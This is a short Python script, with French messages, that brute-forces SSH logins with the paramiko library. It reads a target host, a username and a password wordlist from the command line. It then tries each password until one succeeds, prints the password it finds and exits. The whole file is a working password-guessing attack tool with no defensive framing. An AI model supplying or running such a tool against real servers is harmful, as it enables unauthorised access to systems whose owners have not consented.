import paramiko, sys def bruteforce(hostname, username, password): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname, username=username, password=password) except paramiko.ssh_exception.AuthenticationException: print("erreur : ",password) #pass else: print("trouvé : ",password) return True finally: client.close() if __name__ == "__main__": hostname = sys.argv[1] username = sys.argv[2] dico = sys.argv[3] try: with open(dico, 'r') as wordlist: for ligne in wordlist.readlines(): password=ligne.strip() if bruteforce(hostname,username,password)==True: sys.exit() except IndexError: print(f"{sys.argv[0]} demande une hôte, un username et une liste de passwords en arguments")